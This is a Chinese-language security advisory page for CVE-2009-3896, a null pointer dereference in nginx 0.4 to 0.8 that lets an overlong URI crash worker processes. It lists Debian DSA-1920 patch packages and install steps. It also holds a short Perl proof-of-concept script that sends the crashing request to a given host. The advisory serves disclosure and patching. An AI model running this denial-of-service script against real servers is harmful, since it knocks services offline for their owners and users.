发布日期:2013-03-25 11:59 来源: 标签: nginx 函数 空指针 引用 漏洞
 

漏洞版本:
Igor Sysoev nginx 0.8.x
Igor Sysoev nginx 0.7.x
Igor Sysoev nginx 0.6.x
Igor Sysoev nginx 0.5.x
Igor Sysoev nginx 0.4.x

漏洞描述:BUGTRAQ  ID: 36839
CVE(CAN) ID: CVE-2009-3896

nginx是多平台的HTTP服务器和邮件代理服务器。

nginx服务器的src/http/ngx_http_parse.c文件的ngx_http_process_request_headers()函数中存在空指针引用错误,远程攻击者可以通过超长的URI来触发这个漏洞,导致worker进程崩溃。<* 参考
Jasson Bell (zeuspenguin@gmail.com

链接:https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=539565

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=552035
http://www.debian.org/security/2009/dsa-1920
*>
测试方法
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
1.here is POC:2. 3.#!/usr/bin/perl4.use IO::Socket;5.if ($#ARGV != 0) {6.print "Usage: ./nginx.pl <hostname>\n";7.exit;}8.$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],9.PeerPort => '80',10.Proto => 'tcp');11.$mysize = 4079;12.$mymsg = "o" x $mysize;13.print $sock "GET /$mymsg HTTP/1.1\r\n\r\n";14. 15.while(<$sock>) {16.print;17.}安全建议:厂商补丁:

Debian
------
Debian已经为此发布了一个安全公告(DSA-1920-1)以及相应补丁:
DSA-1920-1:New nginx packages fix denial of service
链接:http://www.debian.org/security/2009/dsa-1920

补丁下载:

Source archives:

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13.orig.tar.gz
Size/MD5 checksum:   436610 d385a1e7a23020d421531818d5606b5b
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3.dsc
Size/MD5 checksum:      611 c4e1baf967a3dbb19a28bf2da8c32fdb
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3.diff.gz
Size/MD5 checksum:     6822 794447a883501912bf6f448b9a561293

alpha architecture (DEC Alpha)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_alpha.deb
Size/MD5 checksum:   211432 14edf103968d05ed6b3f0149e790881c

amd64 architecture (AMD x86_64 (AMD64))

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_amd64.deb
Size/MD5 checksum:   196040 70ac342b4cf946ad70d9914c5bc54d38

arm architecture (ARM)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_arm.deb
Size/MD5 checksum:   187230 0caef4e2898e11690a49eb45a539ad37

hppa architecture (HP PA RISC)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_hppa.deb
Size/MD5 checksum:   205304 05e92ede05223ee00832a7fa22f8712f

i386 architecture (Intel ia32)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_i386.deb
Size/MD5 checksum:   184404 764b3c087859dcf45d888fe6c7f55176

ia64 architecture (Intel ia64)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_ia64.deb
Size/MD5 checksum:   278594 4ae16a2fe0a790a1eb567aa2a2c909ea

mips architecture (MIPS (Big Endian))

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_mips.deb
Size/MD5 checksum:   208380 a7408a0c1f14f235aec3c9f3a12d5694

mipsel architecture (MIPS (Little Endian))

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_mipsel.deb
Size/MD5 checksum:   207790 67255cb5b5848c714921d0a44abd449d

powerpc architecture (PowerPC)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_powerpc.deb
Size/MD5 checksum:   186666 a0a0505d498f51d2a63e615e8e3e8fe7

s390 architecture (IBM S/390)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_s390.deb
Size/MD5 checksum:   199838 b0d4f3cc9878b0280a8e56a0bd29bd53

sparc architecture (Sun SPARC/UltraSPARC)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_sparc.deb
Size/MD5 checksum:   185332 9fdd4b7725b4060a311d7f35f9266cfb


Debian GNU/Linux 5.0 alias lenny
- --------------------------------

Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64,
mips, mipsel, powerpc, s390 and sparc.

Source archives:

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32.orig.tar.gz
Size/MD5 checksum:   522183 c09a2ace3c91f45dabbb608b11e48ed1
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3.dsc
Size/MD5 checksum:     1231 0acea5f6912c80de2c6b54b16c7f008b
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3.diff.gz
Size/MD5 checksum:    10814 a5c652551a6457c8ead36578a5ba59bb

alpha architecture (DEC Alpha)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_alpha.deb
Size/MD5 checksum:   297934 72777a5e04e324eef3f97d93623a4559

amd64 architecture (AMD x86_64 (AMD64))

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_amd64.deb
Size/MD5 checksum:   268654 8ba00b9fa72c1b6d92ba1f4af5b95e2d

arm architecture (ARM)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_arm.deb
Size/MD5 checksum:   252062 7de60e3654a0aff273d3340dd46e2cda

armel architecture (ARM EABI)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_armel.deb
Size/MD5 checksum:   252764 f0ba676c131f1fc992e27cf1c50440d7

hppa architecture (HP PA RISC)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_hppa.deb
Size/MD5 checksum:   282454 7d9299fcc9ca9201905790eea2357527

i386 architecture (Intel ia32)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_i386.deb
Size/MD5 checksum:   255294 c7e061bcc8d9272abd91c522e01e05dd

ia64 architecture (Intel ia64)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_ia64.deb
Size/MD5 checksum:   420106 3356229c7f62e64c19dd3c3853cb7a87

mips architecture (MIPS (Big Endian))

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_mips.deb
Size/MD5 checksum:   283362 9c97f75512a4665c60e20f8fcfff6556

mipsel architecture (MIPS (Little Endian))

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_mipsel.deb
Size/MD5 checksum:   283598 2ebafc8e613da6d28f09d91e1287055c

powerpc architecture (PowerPC)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_powerpc.deb
Size/MD5 checksum:   276188 9c4e725628b775d77aa3a5ccce16063a

s390 architecture (IBM S/390)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_s390.deb
Size/MD5 checksum:   274074 1bbc736cc9651bfd041042b29096bdfa

sparc architecture (Sun SPARC/UltraSPARC)

http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3_sparc.deb
Size/MD5 checksum:   256738 eca03da76437d58f898a60c9cb5930d7

补丁安装方法:

1. 手工安装补丁包:

  首先,使用下面的命令来下载补丁软件:
  # wget url  (url是补丁下载链接地址)

  然后,使用下面的命令来安装补丁: 
  # dpkg -i file.deb (file是相应的补丁名)

2. 使用apt-get自动安装补丁包:

   首先,使用下面的命令更新内部数据库:
   # apt-get update
  
   然后,使用下面的命令安装更新软件包:
   # apt-get upgrade

相关评论

专题信息
    Nginx ("engine x") 是一个高性能的 HTTP 和 反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。